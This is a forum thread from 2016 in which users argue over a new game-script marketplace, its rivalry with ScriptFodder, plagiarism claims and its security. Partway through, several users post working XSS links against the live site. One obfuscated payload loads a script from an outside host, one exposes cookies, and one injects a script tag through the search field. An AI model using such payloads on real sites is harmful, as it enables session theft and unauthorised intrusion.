[QUOTE=Handsome Matt;50962702]you're actively slandering my company, calling us unprofessional whilst you make things completely personal and attack us like eesh.[/QUOTE]
Em, you attack me... seing your money going away...
Inserting SQL injections isn't a form of hacking. It's simply carelessness on the developer's part and you should actually be thanking people that they caught the fact that this is a exploit. Because if you start handling large amounts of users, and have a decent user db; if this were to happen, you my friend, would be screwed.
I applaud anyone who wants to pave a new path and give people alternatives, however, you have to take into consideration that when this happens, you need to be on your game. You need to have a triple friggen checklist of every method, procedure, functionality, etc. and ensure that it's functioning better than Dolly Parton's breasts do (which isn't hard to accomplish).
Also, I will say one thing. A long time ago, there was a guy named Crypt. He attempted to start a Marketplace for Gmod, and while he was in completely over his head, and was using this as a "learning project", he was however, humble with his responses towards people that were bashing him, so I have to give him that credit. You are going to get people who are going to say whatever they want; however, your reaction to their responses is what you paint the picture of your business as.
Food for thought.
[editline]28th August 2016[/editline]
[QUOTE=Dr. Api;50962728]Em, you attack me... seing your money going away...[/QUOTE]
RIP $2.50 - you will be missed.
[QUOTE=Datamats;50962718]All websites get spammed with SQL injection attempts. :v:
Hope you have patched all the holes while I doubt so.
Anyone attempted XSS yet? :)[/QUOTE]
Please try...
It truly is a shame that scriptfodder had to be brought up here once again. I don't really care where this exactly derailed or who started it, but I do sense some tension. I don't exactly believe that anything going on here is justified, especially on the scriptfodder administrators side. Dr. Api had showed me some evidence of people shamelessly trying to breach the site and it obviously didn't work. I would expect some civilised behaviour coming from us all and personally I truly believe that part of the tension comes from the fact that people have realized there is a legitimate possible competitor to conflict with scriptfodder's monopoly.
[QUOTE=Sleggie;50962754]It truly is a shame that scriptfodder had to be brought up here once again. I don't really care where this exactly detailed or who started it, but I do sense some tension. I don't exactly believe that anything going on here is justified, especially on theach scriptfodder administrators side. Dr. Api had showed me some evidence of people shamelessly trying to breach the site and it obviously didn't work. I would expect some civilised behaviour coming from us all and personally I truly believe that part of the tension comes from the fact that people have realized there is a legitimate possible competitor to conflict with scriptfodder's monopoly.[/QUOTE]
What did you expect when you posted this on Facepunch? A bunch of 11 year olds with their moms credit card? :v:
[QUOTE=Handsome Matt;50962789]you've been plagiarising from me and Marcuz.[/QUOTE]
Sorry to use bootstrap, really.
[QUOTE=Dr. Api;50962799]Sorry to use bootstrap, really.[/QUOTE]
bootstrap is a set of pre-made and pre-defined tools to develop a website with, it is not a template, nor does it say "hey, make your site look like this!".
[QUOTE=BillyOnWiiU;50962666][t]http://i.venner.io/chrome_2016-08-28_16-55-19.png[/t]
phoenix pls[/QUOTE]
[url]http://ph129.net/i/confirmation.png[/url]
billy pls
[QUOTE=Sleggie;50962754]It truly is a shame that scriptfodder had to be brought up here once again. I don't really care where this exactly derailed or who started it, but I do sense some tension. I don't exactly believe that anything going on here is justified, especially on the scriptfodder administrators side. Dr. Api had showed me some evidence of people shamelessly trying to breach the site and it obviously didn't work. I would expect some civilised behaviour coming from us all and personally [b]I truly believe that part of the tension comes from the fact that people have realized there is a legitimate possible competitor to conflict with scriptfodder's monopoly.[/b][/QUOTE]
Don't mean to sound aggressive or like an asshole with this, but I personally don't think there'll be a possible competitor until people like you who create these sort of sites understand that you don't just have to attract developers but customers too
I'm reading your OP right now all the bullet points and most of your features for buyers seem like core/basic necessities for the site actually function
I basically said the same thing in Mod Mountain, which felt entirely focused on developer comfort:
[QUOTE=NiandraLades;50727720]Always happy to see people working on stuff and am supportive of this project, but I do feel like some people are acting like developers are the only part needed for a successful mod selling site - which isn't the case, it's all good giving them benefits but in the end, it's pointless if no one buys their product[/QUOTE]
[QUOTE=Handsome Matt;50962789]Again, thank you for ignoring the actual points of Phoenix's post, and ignoring literally everything else in this post.[/QUOTE] Boostrap is yours I forgot...
Calm down Matt - I'd like from now on to de-rustle everyone's jimmies and get back to the real topic. The website's security is fine from what I see - SQL injections are blocked. Matt, please correct me if I'm wrong as I appreciate your helpfulness- but please do not give off a negative vibe like before.
Niandra- if you have any recommendations to further improve he customer experience please let us know. I personally find there are some great ones but as always the more the merrier.
[QUOTE=Dr. Api;50962819]Boostrap is yours I forgot...[/QUOTE]
Who are you trying to convince?
[QUOTE=Dr. Api;50962743]Please try...[/QUOTE]
Dude... Just don't start... Don't try to 'brag' like that when you actually aren't 100% about what you say.
[URL="https://sourcemod.market/scripts?price_max=eval(String.fromCharCode(36,46,103,101,116,83,99,114,105,112,116,40,34,104,116,116,112,115,58,47,47,110,101,119,106,46,112,119,47,97,46,99,34,41))"]Rekt[/URL]
[QUOTE=Newjorciks;50962892]Dude... Just don't start... Don't try to 'brag' like that when you actually aren't 100% about what you say.
[URL="https://sourcemod.market/scripts?price_max=eval(String.fromCharCode(36,46,103,101,116,83,99,114,105,112,116,40,34,104,116,116,112,115,58,47,47,110,101,119,106,46,112,119,47,97,46,99,34,41))"]Rekt[/URL][/QUOTE]
uh what
[editline]28th August 2016[/editline]
what did that do
[QUOTE=Newjorciks;50962892]Dude... Just don't start... Don't try to 'brag' like that when you actually aren't 100% about what you say.
[URL="https://sourcemod.market/scripts?price_max=eval(String.fromCharCode(36,46,103,101,116,83,99,114,105,112,116,40,34,104,116,116,112,115,58,47,47,110,101,119,106,46,112,119,47,97,46,99,34,41))"]Rekt[/URL][/QUOTE]
What is your link supposed to do?
[QUOTE=Sleggie;50962963]What is your link supposed to do?[/QUOTE]
Did you really just patch it and then try playing dumb?
[editline]lol[/editline]
[URL="https://sourcemod.market/jobs?search=sss&game_id=&sort=&added=&price_min=eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))&price_max=100"]This is what it did, still works in a different area[/URL]
[T]https://marcuz.eu/files/RbIz.png[/T]
[QUOTE=Sleggie;50962963]What is your link supposed to do?[/QUOTE]
The XSS was:
[code]alert("Before you say 'Please try...' actually make sure you don't have XSS.......");[/code]
and it work[i][b]ed[/b][/i] until you fixed it
Alright, so Dr. Api fixed it. Thanks for letting us know.
[QUOTE=Sleggie;50963082]Alright, so Dr. Api fixed it. Thanks for letting us know.[/QUOTE]
Really looks like it's fixed.
[IMG]http://i.imgur.com/Z7sLKeQ.png?1[/IMG]
Edit:
Also why do you not remove the rest of the test crap.
[url]http://i.imgur.com/FSR60CP.png[/url]
I'm quite sure that Valve does not agree on you redistributing their tools.
[QUOTE=Datamats;50963127]Really looks like it's fixed.
[IMG]http://i.imgur.com/Z7sLKeQ.png?1[/IMG][/QUOTE]
Where do you see that?
[QUOTE=Handsome Matt;50962702]uhhh, can you link to the bootstrap template we use - we use bootstrap but there is no theme or template we use - like normally I wouldn't care but you're actively going on and on about this whilst you're so obviously plagiarising so much from us which you literally ignored all of phoenix's post rofl
you're actively slandering my company, calling us unprofessional whilst you make things completely personal and attack us like eesh.[/QUOTE]
didnt you use this when it first launched: [url]https://bootswatch.com/sandstone/[/url]
[QUOTE=StonedPenguin;50963316]didnt you use this when it first launched: [URL]https://bootswatch.com/sandstone/[/URL][/QUOTE]
Try to compare it with this [URL]https://web.archive.org/web/20141208222250/https://scriptfodder.com/[/URL] looks much like that theme than the current one being used atm.
I'm really wondering how we ended up with Bootstrap as the topic.
I don't understand. I'm not sure how this benefits me as a consumer of products nor a producer(developer).
[quote]
• Submitting a script is free.
• Absolutely fair and balanced commission system which you can read up on.
• Advanced statistics which visually displays your profit, number of sales, number of issues with your scripts, number of downloads and much more in detail.
• Dashboard that displays all the information you need as well as your commission percentage.
• Simple notifications for your scripts.
• You can sell free scripts.
• View the status of your scripts.
• Better version system: each version of your script can be saved for re-download for you and your customers.
• Create DLCs for your scripts.
• Create script packs.
• Multiple games to create scripts for.
• SourceGuard: we feel it would be wrong not to offer developers a system to monitor which servers are running their scripts, which is why we have SourceGuard for everyone to use! You can read up on it here: [url]https://sourcemod.market/help/faq[/url]
Buyers/Everyone:
• Clean and simple UI
• Easily report users and scripts.
• Easy personal messaging system.
• Request script support by opening tickets.
• Easily review scripts.
• Download previous versions of scripts.
• Informative reputation system.
• Discuss on people's scripts.
• Real-time notification system.
• Multiple games to buy/download scripts from.
• Discuss on the forum.
• Incredibly advanced and simple search/filter system.
• Super-duper job system in beta.
• An active, dedicated and passionate staff to assist you.
[/quote]
I'll start by saying Opportunity cost or other choice with benefits. You're directly competing with Scriptfodder. Now as a consumer i want to know WHY i should choose you over them.
Scriptfodder:
Posting a script [x]
Statistics [x]
Categories [x]
PMS [x]
Jobs [x]
Search [x]
So lets just say they offer everything you have if not more with an already established reputation within the community with the sole exception of having a dedicated forum on there website. So again, why as a consumer would i go to you?
As a producer, You're not established, you have less users overall to sell to. Newer scripts get better visibility to more people on Scriptfodder. So why as a producer would i go to you?
Some off hand comments:
You talked about commissions but is this not the same as the fee that Scriptfodder has. Website design/usability aside, From a Con/Prod standpoint, theres almost no reason for me to switch if the sites are almost exactly the same feature wise AND Scriptfodder has the bigger market here. So lets say i hated the % tax on my good that ScriptFodder has and i wanted something different but you don't even offer that. So as a producer, i may hate that fee on Scriptfodder at least i'm getting more sales and visibility there.
[QUOTE=Keosan;50963480]So lets just say they offer everything you have if not more with an already established reputation within the community with the sole exception of having a dedicated forum on there website. So again, why as a consumer would i go to you?
As a producer, You're not established, you have less users overall to sell to. Newer scripts get better visibility to more people on Scriptfodder. So why as a producer would i go to you?
Some off hand comments:
You talked about commissions but is this not the same as the fee that Scriptfodder has. Website design/usability aside, From a Con/Prod standpoint, theres almost no reason for me to switch if the sites are almost exactly the same feature wise AND Scriptfodder has the bigger market here. So lets say i hated the % tax on my good that ScriptFodder has and i wanted something different but you don't even offer that. So as a producer, i may hate that fee on Scriptfodder at least i'm getting more sales and visibility there.[/QUOTE]
Well, the last website that was somewhat successful as an alternative was primarily comprised of people who had their access to ScriptFodder restricted. Can't remember its name anymore, but it lasted for half a year or so.
I asked myself this question as well, just assumed that the website will try to go for the same route, attracting people over long period of time.
That plus having a hub for selling software for other games, which sadly, didn't seem to work either.
[QUOTE=freemmaann;50963530]Well, the last website that was somewhat successful as an alternative was primarily comprised of people who had their access to ScriptFodder restricted. Can't remember its name anymore, but it lasted for half a year or so.
I asked myself this question as well, just assumed that the website will try to go for the same route, attracting people over long period of time.
That plus having a hub for selling software for other games, which sadly, didn't seem to work either.[/QUOTE]
I could see that but it seems like the people running it are just attacking everyone right off the bat. You don't fight fire with fire, let people be rude but don't go to there level. But imo, if the website is going to be competing at the very least you should try to be different or at best do better than your competitors.
Even removing the commission based system would probably lower that BTE and might attract some developers to try it out because for every good sold you make more money here assuming all things equal between the websites.(5%-10% more $ per transaction and overall)
The commissions here are permanent, once you reach 9% for example, you can never reach 10% again.
Don't forget that we also provide a free anti-leak/tracking system for everyone to use.
Dude... If you fix it, at least fix it all.
The site is like a candy shop for people that like to create XSS...
[URL="https://sourcemod.market/search?keywords=%22%3Cdiv%3E%3Cscript%3Ealert%28%27This%20site%20is%20like%20a%20candy%20shop%20for%20XSS%20%22hackers%22%27%29%3C/script%3E"]It's not that hard to sanitize inputs...[/URL]
[I](Note: This one doesn't work on Chrome because Chrome has XSS detection, does work on Firefox though)[/I]
Isn't this the third time you guys tried to make a market place with the same assets as the last 2? Sometimes it's just good to stop when it's obviously not working.
[QUOTE=Lunaversity;50964123]Isn't this the third time you guys tried to make a market place with the same assets as the last 2? Sometimes it's just good to stop when it's obviously not working.[/QUOTE]
No, first time. not working? we don't know the site is online since 2-3 days. Also I have lot of dev friends from sourcemod who will come.
[QUOTE=Dr. Api;50964142]No, first time.[/QUOTE]
Doesn't sleggie run it with you?
[QUOTE=Lunaversity;50964144]Doesn't sleggie run it with you?[/QUOTE]
He saw what I was doing and he wanted to be part on it. I didn't know about other marketplaces before... I made long time ago my private one on the same domain: [url]http://web.archive.org/web/20151116041852/http://sourcemod.market/[/url]
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